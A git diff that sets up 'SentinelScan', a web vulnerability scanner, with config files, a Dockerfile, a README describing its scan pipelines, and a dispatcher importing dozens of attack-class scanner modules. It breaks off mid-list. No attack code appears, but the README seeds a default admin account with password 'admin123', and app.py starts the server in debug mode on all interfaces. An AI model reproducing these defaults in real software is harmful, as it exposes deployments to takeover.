diff --git a/.env.example b/.env.example new file mode 100644 index 0000000000000000000000000000000000000000..285e39f5949ec824e16fd1de02a8dea5c6c0bf81 --- /dev/null +++ b/.env.example @@ -0,0 +1,35 @@ +# ============================================================================ +# SentinelScan (WSS) โ€” Environment Variables +# Copy this file to .env and fill in your actual values. +# ============================================================================ + +# --- Flask --- +FLASK_ENV=development +JWT_SECRET=your-super-secret-jwt-key-here + +# --- Database (GCP Cloud SQL โ€” PostgreSQL) --- +DATABASE_URL=postgresql://user:password@host:5432/dbname + +# --- Redis (Celery broker) --- +CELERY_BROKER_URL=redis://localhost:6379/0 +CELERY_RESULT_BACKEND=redis://localhost:6379/0 + +# --- Firebase Cloud Storage --- +FIREBASE_CREDENTIALS=serviceAccountKey.json +FIREBASE_STORAGE_BUCKET=your-project-id.appspot.com + +# --- Local uploads (fallback when Firebase is not configured) --- +# UPLOAD_FOLDER=./uploads/logos + +# --- Email (Resend) --- +RESEND_API_KEY=re_your_resend_api_key + +# --- Stripe (payments) --- +STRIPE_SECRET_KEY=sk_live_your_stripe_key + +# --- External URLs --- +FRONTEND_URL=http://localhost:3000 + +# --- Scanner tuning --- +SCANNER_RATE_LIMIT=60 +SCANNER_RATE_WINDOW=60 diff --git a/.gitattributes b/.gitattributes index a6344aac8c09253b3b630fb776ae94478aa0275b..f339398317541e266519f939a4544436e60343a6 100644 --- a/.gitattributes +++ b/.gitattributes @@ -33,3 +33,10 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text *.zip filter=lfs diff=lfs merge=lfs -text *.zst filter=lfs diff=lfs merge=lfs -text *tfevents* filter=lfs diff=lfs merge=lfs -text +frontend/public/larshieldlogowhite.png filter=lfs diff=lfs merge=lfs -text +frontend/public/logo.jpg filter=lfs diff=lfs merge=lfs -text +frontend/public/report_barchart.png filter=lfs diff=lfs merge=lfs -text +frontend/public/reports/API_Security_Assessment_Methodology.pdf filter=lfs diff=lfs merge=lfs -text +frontend/public/reports/Deep_Scan_Report.pdf filter=lfs diff=lfs merge=lfs -text +frontend/public/reports/Mobile_App_Penetration_Testing_Guide_2026.pdf filter=lfs diff=lfs merge=lfs -text +frontend/src/assets/Larxius[[:space:]]White[[:space:]]logo.jpg filter=lfs diff=lfs merge=lfs -text diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..32ff1d93cbe342ade38e23d62317698763ff1ab5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,77 @@ +# === Secrets / Credentials === +.env +serviceAccountKey.json +*.pem +*.key + +# === Python === +__pycache__/ +*.py[cod] +*$py.class +*.egg-info/ +*.egg +dist/ +build/ +*.so +*.pyd + +# === Virtual Environments === +venv/ +.venv/ +env/ +ENV/ + +# === IDE === +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# === OS === +.DS_Store +Thumbs.db +desktop.ini + +# === Logs === +*.log +security_events.log + +# === Pytest / Coverage === +.pytest_cache/ +.coverage +htmlcov/ + +# === Database (local SQLite) === +*.db +*.sqlite3 + +# === Uploads (moved to Firebase Storage) === +uploads/ + +# === Frontend build/dist === +frontend/node_modules/ +frontend/dist/ +frontend/dist-ssr/ + +# === Migrations (unused scaffolding) === +migrations/ + +# === Tools (scanner binaries, download at runtime) === +Tools/ + +# === Brand assets (not runtime) === +larxiius logo.jpg + +# === Large doc artifacts === +docs/*.pdf +docs/*.docx + +# === Node === +node_modules/ + +# === Misc === +*.local +*.bak +*.tmp +*.orig diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000000000000000000000000000000000000..ed71e5f2f6e2da8eb62ea56fb3bed28b2e3534af --- /dev/null +++ b/Dockerfile @@ -0,0 +1,48 @@ +# ============================================================================ +# SentinelScan โ€” Single-container build for Hugging Face Spaces +# Multi-stage: builds React frontend, then bundles with Flask backend +# ============================================================================ + +# --- Stage 1: Build React frontend --- +FROM node:20-alpine AS frontend-build + +WORKDIR /app/frontend +COPY frontend/package.json frontend/package-lock.json* ./ +RUN npm ci +COPY frontend/ . +RUN npm run build + +# --- Stage 2: Python backend + built frontend --- +FROM python:3.11-slim + +WORKDIR /app + +# Install system deps: gcc (C extensions), nmap (Nmap scanner), libpq (psycopg2) +RUN apt-get update && apt-get install -y --no-install-recommends \ + gcc \ + libpq-dev \ + nmap \ + && rm -rf /var/lib/apt/lists/* + +# Install Python dependencies +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +# Copy backend source +COPY backend/ backend/ +COPY backend_structured/ backend_structured/ +COPY app.py . +COPY .env.example . + +# Copy built React frontend from Stage 1 +COPY --from=frontend-build /app/frontend/dist/ frontend/dist/ + +# Production env defaults (HF Secrets override these at runtime) +ENV FLASK_ENV=production \ + PYTHONUNBUFFERED=1 + +EXPOSE 7860 + +CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "1", \ + "--timeout", "300", "-k", "geventwebsocket.gunicorn.workers.GeventWebSocketWorker", \ + "app:app"] diff --git a/README.md b/README.md index b9fe7f5f7cba33d30da43fc9bf9cb44e9d6d05f6..155923227c7d00eeeecaed97f81781d936707920 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,254 @@ ---- -title: SentinelScan WSS -emoji: ๐Ÿข -colorFrom: yellow -colorTo: yellow -sdk: docker -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference +# ๐Ÿ›ก๏ธ SentinelScan โ€” Website Security Scanner (WSS) + +SentinelScan is a full-stack, enterprise-grade **Dynamic Application Security Testing (DAST)** platform designed to automate vulnerability detection across target domains and web APIs. Featuring a highly modular architecture, SentinelScan orchestrates a pipeline of custom security scanning agents concurrently, storing findings in a structured database and presenting them in a premium, real-time dashboard. + +--- + +## ๐Ÿš€ Key Features + +* **Multi-Agent Concurrency**: Uses an asynchronous thread pool execution model (`ThreadPoolExecutor`) inside Celery tasks to run up to 17 specialized scanner modules in parallel. +* **Real-time Log Streaming**: Captures and exposes live, color-coded execution logs in-memory, enabling users to monitor active scans line-by-line. +* **Scheduled Scans**: Leverage Celery Beat to automate recurring scans (daily, weekly, monthly) for regular status monitoring. +* **Alert Webhooks**: Automatically dispatches security alerts to external services (e.g., Discord, custom webhooks) when critical or high vulnerabilities are discovered. +* **Authenticated Scanning**: Supports credentials/cookies injection via custom HTTP request headers, bypassing login perimeters to test deep backend routes. +* **Interactive Remediation**: Offers interactive, language-specific code remediation templates for each identified vulnerability type. +* **Dynamic PDF Reports**: Generates professional PDF summaries of completed scans, containing detailed risk score matrices and remediation guidelines. + +--- + +## ๐Ÿ“ Directory Structure + +```text +Project-WSS/ +โ”œโ”€โ”€ backend/ # Flask Backend Application +โ”‚ โ”œโ”€โ”€ app/ # Main Flask Application Package +โ”‚ โ”‚ โ”œโ”€โ”€ routes/ # REST API Endpoints & Route Blueprints +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ auth.py # User Authentication (Login, Register) +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ reports.py # PDF Generation and Scan Reports +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ scans.py # Scan Configuration, Triggering, Logs +โ”‚ โ”‚ โ”‚ โ””โ”€โ”€ vulnerabilities.py # Remediation & Vulnerability Queries +โ”‚ โ”‚ โ”œโ”€โ”€ scanners/ # Security Engine Modules & Core Pipelines +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ __init__.py # Pipeline Definitions and Class Dispatcher +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ api_scanner.py # Exposed REST API Route Finder +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ base_scanner.py # Abstract Base Class and Shared Log Utilities +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ cloud_scanner.py # Public S3/Cloud Storage Auditor +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ cors_scanner.py # CORS Misconfigurations Tester +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ cve_scanner.py # Vulnerability Database Version Matcher +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ directory_scanner.py# Directory/File brute-forcer +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ fuzzer_scanner.py # SQLi & XSS Parameter Fuzzer +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ headers_scanner.py # HTTP Security Headers & Cache Poisoning +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ nmap_scanner.py # Port & Service Banner Scanner (via Nmap) +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ nuclei_scanner.py # Nuclei Template-based Scanner +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ robots_scanner.py # robots.txt Crawler +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ secrets_scanner.py # Page Secrets/API Key Scanner +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ sslyze_scanner.py # SSL/TLS Configurations & Ciphers Auditor +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ subdomain_scanner.py# Subdomain DNS Enumerator +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ tech_scanner.py # Technology Stack Fingerprinting +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ waf_scanner.py # WAF Detection & Fingerprinting +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ whois_scanner.py # Domain Registrar and Whois Lookup +โ”‚ โ”‚ โ”‚ โ””โ”€โ”€ zap_scanner.py # OWASP ZAP Active Spider Integration +โ”‚ โ”‚ โ”œโ”€โ”€ utils/ # Utility Scripts & Helpers +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ pdf_generator.py # ReportLab PDF Generation +โ”‚ โ”‚ โ”‚ โ””โ”€โ”€ webhook.py # Discord & Webhook Dispatcher +โ”‚ โ”‚ โ”œโ”€โ”€ database.py # SQLAlchemy Extension Instance +โ”‚ โ”‚ โ”œโ”€โ”€ extensions.py # Rate Limiter & Security Extensions +โ”‚ โ”‚ โ”œโ”€โ”€ models.py # SQLAlchemy Database Models (SQLite/PostgreSQL) +โ”‚ โ”‚ โ””โ”€โ”€ scanner.py # Celery Tasks, Beat Schedules & Orchestration +โ”‚ โ”œโ”€โ”€ celery_app.py # Celery Broker and Beat Scheduler Configuration +โ”‚ โ”œโ”€โ”€ config.py # Environment Variable Parsing and App Constants +โ”‚ โ”œโ”€โ”€ requirements.txt # Python Dependencies List +โ”‚ โ”œโ”€โ”€ run.py # Flask Application Startup Launcher +โ”‚ โ””โ”€โ”€ .env # Local Environment Secret Key Configurations +โ”‚ +โ”œโ”€โ”€ frontend/ # React Frontend Application (Vite-powered SPA) +โ”‚ โ”œโ”€โ”€ src/ # React Application Source +โ”‚ โ”‚ โ”œโ”€โ”€ assets/ # SVGs, Fonts, and Static UI Elements +โ”‚ โ”‚ โ”œโ”€โ”€ components/ # Reusable UI Components +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ AuthContext.jsx # Global JWT Login State & API Interceptor +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ CodeBlock.jsx # Syntax-highlighted Remediation Viewer +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ Layout.jsx # Dashboard App Shell & Navigation Sidebar +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ ProtectedRoute.jsx # Auth Check Router Wrapper +โ”‚ โ”‚ โ”‚ โ””โ”€โ”€ ThreatGauge.jsx # SVG Semi-circle Security Score Indicator +โ”‚ โ”‚ โ”œโ”€โ”€ pages/ # Top-level Routing View Pages +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ Dashboard.jsx # Overview, Scan Metrics, and Status Cards +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ LandingPage.jsx # Modern Dark Mode Promotional Marketing Page +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ Login.jsx # Clean Secure Authentication Portal +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ NewScan.jsx # Target, Pipeline and Cookie Configurations +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ Register.jsx # Account Creation Portal +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ ReportsHistory.jsx # Past Scan Lists and Export Center +โ”‚ โ”‚ โ”‚ โ”œโ”€โ”€ ScanResults.jsx # Vulnerability breakdown & Live terminal logs +โ”‚ โ”‚ โ”‚ โ””โ”€โ”€ Settings.jsx # Notification threshold & webhook configuration +โ”‚ โ”‚ โ”œโ”€โ”€ App.css # Main Layout styling +โ”‚ โ”‚ โ”œโ”€โ”€ App.jsx # Routing configuration +โ”‚ โ”‚ โ”œโ”€โ”€ index.css # Global theme tokens, inputs, animations +โ”‚ โ”‚ โ”œโ”€โ”€ main.jsx # DOM Injection root +โ”‚ โ”‚ โ”œโ”€โ”€ mockApi.js # Standalone local frontend mock testing DB +โ”‚ โ”‚ โ””โ”€โ”€ theme.css # Precision Sentinel palette values +โ”‚ โ”œโ”€โ”€ vite.config.js # React Hot Module Reloading server options +โ”‚ โ””โ”€โ”€ package.json # Frontend NPM scripts & dependencies +โ”‚ +โ””โ”€โ”€ docker-compose.yml # Multi-container orchestrator (Redis service) +``` + +--- + +## ๐Ÿ›๏ธ System Architecture + +```mermaid +graph TD + User([Security Auditor]) -->|Browser| FE[React Frontend SPA] + FE -->|API Requests| BE[Flask Web Backend] + BE -->|Store Scans/Vulns| DB[(SQLite / PostgreSQL)] + BE -->|Enqueue Jobs| Redis[(Redis Broker)] + Celery[Celery Task Workers] -->|Dequeue Jobs| Redis + Celery -->|Write Live Logs| MemLog[(In-Memory Logs)] + Celery -->|Execute Scanners Concurrently| Scanners{Scanner Suite} + Scanners -->|Target Requests| Target[Target System] + Scanners -->|Persist Findings| DB + Celery -->|Trigger Alert| Webhook[Webhook Notification] +``` + +### Backend Components +1. **Flask (REST API)**: Exposes endpoints for managing accounts, starting scans, listing results, downloading PDFs, and tracking setting updates. +2. **Celery Worker**: Dequeues scan tasks and runs them asynchronously. +3. **ThreadPoolExecutor**: Multi-threads individual scanners inside a Celery task. +4. **Celery Beat**: Runs continuously to process scheduled periodic scans. +5. **Redis**: Acts as the fast in-memory message broker. + +--- + +## ๐Ÿ—„๏ธ Database Schema + +The database schema, defined in `backend/app/models.py`, includes five main tables: + +1. **`User`**: Manages credential hashing (via `bcrypt`) and session links. +2. **`Scan`**: Details the target domain, scan mode (Quick, Standard, Deep), authorization headers, overall security score, scan status, and timings. +3. **`Vulnerability`**: Stores findings linked to a scan. Contains details like CVSS score, severity classification, category, description, and copy-pasteable remediation snippets. +4. **`ScheduledScan`**: Saves user-configured scanning intervals (daily, weekly, monthly) for targets. +5. **`AlertSettings`**: Manages notification flags, webhook URL destinations, and minimum severity thresholds. + +--- + +## โš™๏ธ Scan Pipelines + +Pipeline routes are configured in `backend/app/scanners/__init__.py`. Depending on the target criticality and scan duration limits, auditors choose between: + +| Pipeline | Target Speed | Underlying Scanner Suite | Description | +| :--- | :--- | :--- | :--- | +| **`Quick`** | ~30 seconds | Headers, Nmap (top 100 ports), SSLyze, Tech stack, WHOIS, WAF | Surface audit for standard misconfigurations | +| **`Standard`** | ~2โ€“3 minutes | Quick + SQLi/XSS Fuzzer, Subdomains, API pathways, Cloud, Secrets, CVEs | Comprehensive assessment of application business logic | +| **`Deep`** | ~10โ€“15 minutes| Standard + CORS, robots.txt, Directory brute-force, Nuclei, ZAP (active) | Deep crawling and automated vulnerability exploitation | +| **`SSL`** | ~15 seconds | SSLyze, Headers | SSL certificate validation and cipher security audit | +| **`Port`** | ~45 seconds | Nmap (standard 1000 ports) | Port and network service banner reconnaissance | + +--- + +## ๐Ÿ› ๏ธ The Scanner Suite (17 Specialized Modules) + +Each scanner inherits from `BaseScanner` (`backend/app/scanners/base_scanner.py`) which coordinates logging, domain parsing, and vulnerability formatting: + +1. **Headers Scanner (`headers_scanner.py`)**: Checks HTTP security headers (HSTS, CSP, CORS, X-Frame-Options, permissions, Referrer policy) and runs a custom check for HTTP host parameter cache poisoning. +2. **Nmap Scanner (`nmap_scanner.py`)**: Fires `nmap` commands directly via sub-process, checking exposed network services and testing for vulnerabilities using script scanning banners. +3. **SSLyze Scanner (`sslyze_scanner.py`)**: Audits SSL certificates, verifying trust status, expiration, and highlighting weak legacy protocols (TLS 1.0, SSLv3). +4. **Tech Scanner (`tech_scanner.py`)**: Fingerprints backend technologies, libraries, servers, and frameworks. +5. **Whois Scanner (`whois_scanner.py`)**: Looks up registrar information, IP ownership, and registration details. +6. **WAF Scanner (`waf_scanner.py`)**: Detects the presence of firewalls (Cloudflare, AWS WAF, ModSecurity, etc.) by inspecting response indicators. +7. **CORS Scanner (`cors_scanner.py`)**: Audits cross-origin resource sharing declarations to prevent credential leaks. +8. **Robots Scanner (`robots_scanner.py`)**: Parses target `robots.txt` entries to extract hidden directories or disallowed routes. +9. **Directory Scanner (`directory_scanner.py`)**: Brute-forces directories using wordlists to discover hidden panels (`/admin`, `/phpmyadmin`, `/api/v1`). +10. **Fuzzer Scanner (`fuzzer_scanner.py`)**: Performs automated query parameter fuzzing, validating parameters against Cross-Site Scripting (XSS) and SQL Injection (SQLi) patterns. +11. **API Scanner (`api_scanner.py`)**: Maps routing interfaces, documenting open APIs and JSON payloads. +12. **Cloud Scanner (`cloud_scanner.py`)**: Audits exposed public storage assets (AWS S3 Buckets, Azure Blobs, etc.). +13. **Secrets Scanner (`secrets_scanner.py`)**: Scrapes source HTML code for exposed keys, AWS access IDs, and connection credentials. +14. **CVE Scanner (`cve_scanner.py`)**: Cross-references identified technology versions against public vulnerability registries. +15. **Nuclei Scanner (`nuclei_scanner.py`)**: Performs targeted scans using ProjectDiscovery's template engine. +16. **ZAP Scanner (`zap_scanner.py`)**: Coordinates deep active spider scanning via the OWASP ZAP API integration. +17. **CORS/API Helper Scanners**: Secondary scanners focused on validation and authorization testing. + +--- + +## ๐Ÿš€ Setup & Local Execution + +### Prerequisites +* **Python 3.10+** +* **Node.js v18+** +* **Nmap** (must be added to system `PATH` environment variables) +* **Redis** (running locally on port `6379`) + +--- + +### Step 1: Start Redis +You can run Redis using Docker: +```bash +docker-compose up -d +``` + +--- + +### Step 2: Configure and Start Backend + +1. Navigate to the backend directory: + ```bash + cd backend + ``` +2. Create a virtual environment and activate it: + ```bash + python -m venv venv + # On Windows: + venv\Scripts\activate + # On Unix/macOS: + source venv/bin/activate + ``` +3. Install dependencies: + ```bash + pip install -r requirements.txt + ``` +4. Verify your `.env` configuration. Ensure the keys and configurations are correct. +5. Seed the database and start the API server: + ```bash + python run.py + ``` + *The Flask application will start on `http://127.0.0.1:5000`.* + +--- + +### Step 3: Launch Celery Workers & Beat +Keep your backend running, open two new terminal sessions (with the virtual environment activated), and run: + +1. **Celery Task Worker**: + ```bash + celery -A celery_app.celery worker --loglevel=info + ``` +2. **Celery Beat Scheduler**: + ```bash + celery -A celery_app.celery beat --loglevel=info + ``` + +--- + +### Step 4: Configure and Run Frontend + +1. Navigate to the frontend directory: + ```bash + cd ../frontend + ``` +2. Install npm modules: + ```bash + npm install + ``` +3. Start the Vite development server: + ```bash + npm run dev + ``` + *The frontend application will boot on `http://localhost:5173`.* + +--- + +## ๐Ÿงช Seeding and Testing + +On the first initialization, the database is pre-seeded with a default user and dummy mock security scan data so you can preview the platform immediately: + +* **Mock Account Email**: `admin@gmail.com` +* **Mock Account Password**: `admin123` + +You can log in with these credentials, explore the interactive remediation code windows, trigger new scans, check your live-updating terminal dashboard logs, and download auto-generated PDF reports directly from the history view. diff --git a/app.py b/app.py new file mode 100644 index 0000000000000000000000000000000000000000..e6d93405401f7ff0a91d7e16ca81abfcf06e10e2 --- /dev/null +++ b/app.py @@ -0,0 +1,41 @@ +import os +import sys +from dotenv import load_dotenv + +# Ensure environment variables are loaded +load_dotenv() + +# Insert the backend module into the python path so its internal absolute imports work +sys.path.insert(0, os.path.abspath('backend_structured')) + +# Import the application factory from our partitioned architecture +from backend_structured import create_app + +# Initialize the Flask application +app = create_app() + +# --------------------------------------------------------------------------- +# Serve the built React frontend (HF Spaces / single-container mode) +# In development the Vite dev-server proxies /api/ to Flask instead. +# --------------------------------------------------------------------------- +from flask import send_from_directory, abort + +FRONTEND_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'frontend', 'dist') + + +@app.route('/', defaults={'path': ''}) +@app.route('/') +def serve_react(path): + """Serve React SPA. Static assets go to dist/, everything else โ†’ index.html.""" + # Never intercept API or socket.io requests + if path.startswith('api/') or path.startswith('socket.io'): + abort(404) + if path and os.path.exists(os.path.join(FRONTEND_DIR, path)): + return send_from_directory(FRONTEND_DIR, path) + return send_from_directory(FRONTEND_DIR, 'index.html') + + +if __name__ == '__main__': + from backend_structured.extensions import socketio + port = int(os.getenv('PORT', 7860)) + socketio.run(app, host='0.0.0.0', port=port, debug=True) diff --git a/backend/scanners/__init__.py b/backend/scanners/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..6c8a207ce28b4407026d679bde34f6e2d2124c9f --- /dev/null +++ b/backend/scanners/__init__.py @@ -0,0 +1,453 @@ +""" +__init__.py โ€” Scanner pipeline dispatcher. +Maps scan_type -> ordered list of scanner module classes. +""" +from .headers_scanner import HeadersScanner +from .nmap_scanner import NmapScanner +from .sslyze_scanner import SslyzeScanner +from .tech_scanner import TechScanner +from .whois_scanner import WhoisScanner +from .fuzzer_scanner import FuzzerScanner +from .path_traversal_scanner import PathTraversalScanner +from .nikto_scanner import NiktoScanner +from .subdomain_scanner import SubdomainScanner +from .waf_scanner import WafScanner +from .cors_scanner import CorsScanner +from .robots_scanner import RobotsScanner +from .directory_scanner import DirectoryScanner +from .zap_scanner import ZapScanner +from .nuclei_scanner import NucleiScanner +from .api_scanner import ApiScanner +from .secrets_scanner import SecretsScanner +from .cloud_scanner import CloudScanner +from .cve_scanner import CveScanner +from .xxe_scanner import XxeScanner +from .ssrf_scanner import SsrfScanner +from .jwt_scanner import JwtScanner +from .idor_scanner import IdorScanner +from .graphql_scanner import GraphqlScanner +from .race_condition_scanner import RaceConditionScanner +from .request_smuggling_scanner import RequestSmugglingScanner +from .business_logic_scanner import BusinessLogicScanner +from .sql_injection_scanner import SqlInjectionScanner +from .websocket_scanner import WebsocketScanner +from .rate_limiting_scanner import RateLimitingScanner +from .whatweb_scanner import WhatWebScanner +from .dns_security_scanner import DNSSecurityScanner +from .custom_website_scanner import CustomWebsiteScanner +# โ”€โ”€ Batch 1 (added previously) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .ssti_scanner import SstiScanner +from .open_redirect_scanner import OpenRedirectScanner +from .cookie_scanner import CookieScanner +from .csrf_scanner import CsrfScanner +from .lfi_scanner import LfiScanner +# โ”€โ”€ Batch 2 (new) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .auth_scanner import AuthScanner +from .session_scanner import SessionScanner +from .csp_scanner import CspScanner +from .clickjacking_scanner import ClickjackingScanner +from .git_exposure_scanner import GitExposureScanner +from .dependency_scanner import DependencyScanner +from .attack_surface_scanner import AttackSurfaceScanner +from .compliance_scanner import ComplianceScanner +from .ai_remediation_scanner import AiRemediationScanner + +# โ”€โ”€ Batch 3: High Priority Gaps โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .subdomain_takeover_scanner import SubdomainTakeoverScanner +from .host_header_scanner import HostHeaderScanner +from .deserialization_scanner import DeserializationScanner +from .command_injection_scanner import CommandInjectionScanner +from .crlf_scanner import CrlfScanner +from .cms_scanner import CmsScanner +from .file_upload_scanner import FileUploadScanner + +# โ”€โ”€ Batch 4: Medium Priority โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .nosql_scanner import NosqlScanner +from .cache_poisoning_scanner import CachePoisoningScanner +from .oauth_scanner import OauthScanner +from .prototype_pollution_scanner import PrototypePollutionScanner +from .source_map_scanner import SourceMapScanner +from .swagger_scanner import SwaggerScanner +from .email_security_scanner import EmailSecurityScanner +from .xpath_scanner import XpathScanner + +# โ”€โ”€ Batch 5: Lower Priority โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .broken_link_scanner import BrokenLinkScanner +from .sri_scanner import SriScanner +from .mfa_bypass_scanner import MfaBypassScanner +from .mass_assignment_scanner import MassAssignmentScanner +from .http_pollution_scanner import HttpPollutionScanner +from .dns_rebinding_scanner import DnsRebindingScanner +from .exif_scanner import ExifScanner +from .tls_weakness_scanner import TlsWeaknessScanner +from .cert_transparency_scanner import CertTransparencyScanner +from .redos_scanner import RedosScanner + +# โ”€โ”€ Batch 6: New Distinct Attack Vectors โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .dom_xss_scanner import DomXssScanner +from .saml_scanner import SamlScanner +from .web_cache_deception_scanner import WebCacheDeceptionScanner +from .http_method_tampering_scanner import HttpMethodTamperingScanner +from .bypass_403_scanner import Bypass403Scanner +from .ldap_scanner import LdapScanner +from .blind_xss_scanner import BlindXssScanner +from .admin_panel_scanner import AdminPanelScanner + +# โ”€โ”€ Batch 7: Client-Side & Logic Gaps โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .csti_scanner import CstiScanner +from .postmessage_scanner import PostmessageScanner +from .password_reset_scanner import PasswordResetScanner +from .cache_control_scanner import CacheControlScanner +from .second_order_scanner import SecondOrderScanner +from .webrtc_leak_scanner import WebrtcLeakScanner +from .service_worker_scanner import ServiceWorkerScanner + +# โ”€โ”€ Batch 8: Advanced Attack Techniques โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +from .http2_desync_scanner import Http2DesyncScanner +from .js_supply_chain_scanner import JsSupplyChainScanner +from .api_security_scanner import ApiSecurityScanner + +# --------------------------------------------------------------------------- +# Pipeline definitions โ€” order matters, runs top-to-bottom +# AiRemediationScanner always runs LAST (post-processor) +# --------------------------------------------------------------------------- +PIPELINES = { + # โ”€โ”€ Quick: fast, non-intrusive checks (~2 min) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + "Quick": [ + ("headers", HeadersScanner, {}), + ("nmap", NmapScanner, {"mode": "quick"}), + ("sslyze", SslyzeScanner, {}), + ("tech", TechScanner, {}), + ("whois", WhoisScanner, {}), + ("waf", WafScanner, {}), + ("dns_security", DNSSecurityScanner, {}), + ("cookies", CookieScanner, {}), + ("csp", CspScanner, {}), + ("clickjacking", ClickjackingScanner, {}), + ("git_exposure", GitExposureScanner, {}), + ("compliance", ComplianceScanner, {}), + ("ai_remediation",AiRemediationScanner,{}), + ], + + # โ”€โ”€ Advanced: core vulnerability audit (~10-20 min) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + "Advanced": [ + ("headers", HeadersScanner, {}), + ("nmap", NmapScanner, {"mode": "standard"}), + ("sslyze", SslyzeScanner, {}), + ("tech", TechScanner, {}), + ("whois", WhoisScanner, {}), + ("waf", WafScanner, {}), + ("dns_security", DNSSecurityScanner, {}), + ("cookies", CookieScanner, {}), + ("csp", CspScanner, {}), + ("clickjacking", ClickjackingScanner, {}), + ("git_exposure", GitExposureScanner, {}), + ("compliance", ComplianceScanner, {}), + ("whatweb", WhatWebScanner, {}), + ("cors", CorsScanner, {}), + ("robots", RobotsScanner, {}), + ("auth", AuthScanner, {}), + ("session", SessionScanner, {}), + ("dependency", DependencyScanner, {}), + ("fuzzer", FuzzerScanner, {}), + ("path_traversal", 